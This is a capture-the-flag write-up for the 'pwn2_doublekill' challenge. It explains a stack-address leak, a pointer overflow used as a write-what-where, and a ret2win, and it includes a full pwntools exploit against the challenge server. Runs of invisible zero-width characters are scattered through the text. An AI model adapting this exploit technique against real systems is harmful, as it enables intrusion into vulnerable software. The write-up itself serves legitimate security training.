← Back to Writeups
CUSTOMEasypwn

pwn2_doublekill

XESXOR9/2/20263 min read
#pwn#custom#easy#overflowed_pointer_write_what_#ret2win#stack_address_leak

pwn2_doublekill

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: overflowed_pointer_write_what_where, ret2win, stack_address_leak

Summary

Task: 64-bit non-PIE pwn with a win() that prints /flag; play() leaks the stack buffer address, reads 0x30 bytes that overflow into an adjacent pointer variable, then writes 8 bytes through that pointer. Solution: use the first overflow to repoint the pointer at play()'s saved return address, then use the second write to overwrite it with win() — an indirect write-what-where ret2win with no canary.

pwn2_doublekill — pwn_spbctf

Description

Нужно перетереть адрес возврата через перееханный указатель.

Author: Anatoly Korniltsev (@korniltsev)

English summary: A 64-bit x86-64 ELF doublekill (NON-PIE at 0x400000, NX enabled, Partial RELRO, no stack canary, with debug_info). The goal is to overwrite the saved return address indirectly — through a pointer that itself gets overflowed by a read — and redirect execution to win(), which prints /flag.

Remote service: nc 109.233.56.90 11604. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Relevant functions:

  • win() @ 0x401182 — open("/flag", 0) → read(fd, password@0x4040a0, 0x100) → write(1, password, n) → close. Calling win() prints the flag.

  • play() @ 0x4011e2 — stack frame:

    • char buf @ rbp-0x30
    • void *password_ptr @ rbp-0x8, initialized to &password (0x4040a0)

    Control flow in play():

    1. fprintf(stderr, "[debug] U: %p P: %p\n", &buf, password) — leaks the stack address of buf (rbp-0x30), defeating stack ASLR.
    2. printf("U: "); read(0, buf, 0x30) — reads exactly 0x30 bytes into the buffer. Because password_ptr lives at rbp-0x8 = buf+0x28, the last 8 bytes of this read overwrite password_ptr.
    3. printf("P: "); read(0, password_ptr, 0x8) — writes 8 attacker-controlled bytes to *password_ptr → an arbitrary 8-byte write whose destination we now control.
  • main() @ 0x40126c just calls play(). No canary anywhere. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is the classic "double read" pattern: the first overflow corrupts a nearby pointer variable, and the second write uses that corrupted pointer as the destination — an indirect write-what-where.

Solution

From the leak, buf_addr = the U: pointer (rbp-0x30). Therefore:

  • rbp = buf_addr + 0x30
  • play()'s saved return address is at ret_addr = rbp + 8 = buf_addr + 0x38

Steps:

  1. read1 (0x30 bytes): b'A'*0x28 + p64(ret_addr) → overwrites password_ptr at buf+0x28 so it points at the saved return address.
  2. read2 (8 bytes): p64(win) (win = 0x401182) → writes win's address over the saved return address.
  3. When play() returns it jumps to win(), which prints /flag. (A SIGSEGV follows after the flag is printed, which is harmless.) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Protocol note (reproducibility)

The "[debug] U: ... P: ...\n" line goes to stderr but is merged onto the socket; the stdout prompts print as "U: P: " together. Reliable sync: recvuntil(b'[debug] U: '), parse the buf hex up to the next space, then recvuntil(b'P: ') to consume the prompt pair, then send payload1 (0x30 bytes) and payload2 (8 bytes).

Key snippet

python
io.recvuntil(b'[debug] U: '); buf = int(io.recvuntil(b' ', drop=True), 16)
io.recvuntil(b'P: ')
io.send(b'A'*0x28 + p64(buf+0x38))   # password_ptr -> saved RET (rbp=buf+0x30, ret=rbp+8)
io.send(p64(0x401182))               # *password_ptr = win

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full exploit

python
#!/usr/bin/env python3
from pwn import *
import sys

context.arch = 'amd64'
context.log_level = 'info'

WIN = 0x401182

def main():
    if len(sys.argv) > 1 and sys.argv[1] == 'local':
        io = process('./doublekill')
    else:
        io = remote('109.233.56.90', 11604)

    # "[debug] U: <buf=rbp-0x30> P: <password=0x4040a0>\n" then "U: P: "
    io.recvuntil(b'[debug] U: ')
    buf_addr = int(io.recvuntil(b' ', drop=True), 16)
    log.success('buf @ %#x' % buf_addr)
    io.recvuntil(b'P: ')   # consume the trailing "U: P: " prompt pair
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    rbp = buf_addr + 0x30
    ret_addr = rbp + 8     # saved return address of play()

    # read1: 0x30 bytes into buf (rbp-0x30). password_ptr lives at rbp-0x8 = buf+0x28.
    # Overwrite it to point at the saved return address.
    payload1 = b'A' * 0x28 + p64(ret_addr)
    assert len(payload1) == 0x30
    io.send(payload1)

    # read2: 8 bytes written to *password_ptr (= ret_addr). Place WIN there.
    io.send(p64(WIN))

    data = io.recvall(timeout=6)
    sys.stdout.buffer.write(data)
    print()
    io.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍